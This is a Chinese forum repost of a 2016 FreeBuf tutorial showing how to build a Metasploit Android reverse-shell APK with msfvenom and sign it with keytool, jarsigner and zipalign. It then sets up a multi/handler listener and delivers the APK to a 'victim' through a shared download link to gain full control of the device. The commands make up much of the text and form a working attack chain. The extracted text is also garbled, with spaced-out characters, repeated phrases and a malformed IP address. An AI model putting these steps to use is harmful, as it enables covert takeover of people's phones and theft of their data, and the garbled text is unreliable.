搜索

[10108] 2016-05-16_如何使用Metasploit对安卓手机进行控制

文档创建者：s7ckTeam
浏览次数：8
最后更新：2025-01-18
2016-05-16_如何使用Metasploit对安卓手机进行控制 如 何 使 用 M e t a s p l o i t 对 安 卓 手 机 进 行 控 制 东 二 门 陈 冠 希   F r e e B u f   2 0 1 6 - 0 5 - 1 6 文 章 内 容 可 能 具 有 一 定 攻 击 性 ， 本 文 仅 供 技 术 交 流 ， 如 有 非 法 使 用 后 果 自 负 。 在 这 次 的 实 验 中 ， 我 会 使 用 在 这 次 的 实 验 中 ， 我 会 使 用 k a l i   l i n u x 和 安 卓 模 拟 器 演 示 如 何 使 用 和 安 卓 模 拟 器 演 示 如 何 使 用 M e t a s p l o i t 框 架 控 制 框 架 控 制 A n d r o i d 设 备 。 设 备 。 创 建 负 载 创 建 负 载 我 们 需 要 两 台 虚 拟 机 ： K a l i   L i n u x 和 安 卓 模 拟 器 。     打 开 v m 启 动 K a l i   l i n u x 。 接 着 打 开 终 端 ， 使 用 m s f v e n o m 制 作 a n d r o i d 利 用 程 序 。 M s f v e n o m 是 m s f p a y l o a d 和 m s f e n c o d e 的 组 合 。 它 是 一 个 单 一 的 工 具 。 它 有 标 准 的 命 令 行 选 项 。   M s f v e n o m 用 来 制 造 的 有 效 载 荷 用 来
渗 透 A n d r o i d 模 拟 器 。 一 旦 打 开 终 端 提 示 符 下 输 入 以 下 命 令 ， 使 用 m s f v e n o m 工 具 来 创 建 有 效 载 荷 A P K 文 件 。 m s f v e n o m   - p   a n d r o i d / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 9 2 . 1 6 8 . 1 1 2 8   L P O R T = 4 4 4 4   R   >   / r o o t / D e s k t o p / p e n t e s t . a p k p   设 置 要 使 用 的 p a y l o a d L H O S T   设 置 用 来 接 收 反 弹 连 接 的 主 机 L P O R T   设 置 用 来 接 收 反 弹 连 接 的 端 口 R   设 置 文 件 格 式 L o c a t i o n   要 保 存 的 文 件 位 置 这 个 命 令 执 行 完 之 后 ， 你 会 看 到 一 些 错 误 ， 但 不 用 担 心 。 现 在 可 以 到 输 出 目 录 查 看 生 成 的 a p k 了 。   我 们 已 经 成 功 创 建 了 A n d r o i d 格 式 （ A P K ） 文 件 的 有 效 载 荷 。 现 在 一 般 A n d r o i d 的 移 动 设 备 不 允 许 安 装 没 有 适 当 签 名 证 书 的 应 用 程 序 。   A n d r o i d 设 备 只 安 装 带 有 签 署 文 件 的 A P K 。 我 们 可 以 使 用 如 下 工 具 进 行 手 动 签 名 ： l   K e y t o o l   ( 已 安 装 ) l   j a r   s i g n e r   ( 已 安 装 ) l   z i p a l i g n   ( 需 要 安 装 ) 执 行 下 列 命 令 签 名 。 首 先 使 用 密 钥 工 具 创 建 密 钥 库 。 k e y t o o l   - g e n k e y   - v   - k e y s t o r e   m y - r e l e a s e - k e y . K e y s t o r e   - a l i a s   a l i a s _ n a m e   - k e y a l g   R S A   - k e y s i z e   2 0 4 8   - v a l i d i t y   1 0 0 0 0 `   然 后 使 用 J A R s i g n e r 签 名 A P K j a r s i g n e r   - v e r b o s e   - s i g a l g   S H A 1 w i t h R S A   - d i g e s t a l g   S H A 1   - k e y s t o r e   m y - r e l e a s e - k e y . K e y s t o r e   A P P N A M E . a p k   a l i a s n a m e `   再 用 J A R s i g n e r 验 证 签 名
j a r s i g n e r   - v e r i f y   - v e r b o s e   - c e r t s   A P P N A M E . a p k `   K a l i 没 有 预 装 Z i p a l i g n ， 需 要 先 a p t - g e t   i n s t a l l   z i p a l i g n 。 然 后 用 z i p a l i g n 来 验 证 a p k 。 z i p a l i g n   - v   4   A P P N A M E . a p k   N E W A P P N A M E . a p k   现 在 我 们 有 了 一 个 带 有 签 名 的 A P K ， 它 可 以 安 装 在 任 何 设 备 上 。   使 用 使 用 M e t a s p l o i t 进 行 测 试 进 行 测 试 接 下 来 启 动 m e t a s p l o i t 的 监 听 器 。 执 行 m s f c o n s o l e 打 开 控 制 台 。   u s e   e x p l o i t / m u l t i / h a n d l e r S e t   P A Y L O A D   a n d r o i d / m e t e r p r e t e r / r e v e r s e _ t c p S E T   L H O S T   1 9 2 . 1 6 8 . 1 5 2 . 1 2 8 S E T   L P O R T   4 4 4 4 E x p l o i t  
是 时 候 将 恶 意 的 A P K 发 送 到 手 机 上 。 我 们 这 里 使 用 一 个 网 盘 上 传 我 们 的 A P K ， 并 将 下 载 链 接 分 享 出 去 。   这 是 我 们 切 换 到 安 卓 模 拟 器 。 1 、 从 h t t p s : / / c o d e . g o o g l e . c o m / a r c h i v e / p / a n d r o i d - x 8 6 / d o w n l o a d s 下 载 a n d r o i d   x 8 6 的 i s o 。 2 、 使 用 v m w a r e 创 建 一 个 内 核 版 本 为 2 . 6 的 虚 拟 机 。 3 、 挂 载 镜 像 ， 启 动 虚 拟 机 。 4 、 进 入 L i v e 模 式 。 5 、 设 置 手 机 并 登 陆 谷 歌 帐 号 。 在 安 卓 模 拟 器 里 面 点 击 那 个 链 接 并 下 载 。 我 们 已 经 发 送 了 一 封 邮 件 到 受 害 者 的 谷 歌 帐 号 上 。   另 外 要 允 许 安 卓 安 装 来 历 不 明 的 a p k 。
  切 换 回 K a l i ， 我 们 发 现 创 建 了 一 个 新 的 会 话 。   然 后 你 就 可 以 为 所 欲 为 的 操 作 这 台 “ 手 机 ” 了 。   * 参 考 来 源 ： r e s o u r c e s . i n f o s e c i n s t i t u t e   ， F B 小 编 东 二 门 陈 冠 希 编 译 ， 转 载 请 注 明 来 自 F r e e B u f 黑 客 与 极 客 （ F r e e B u f . C O M ） 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理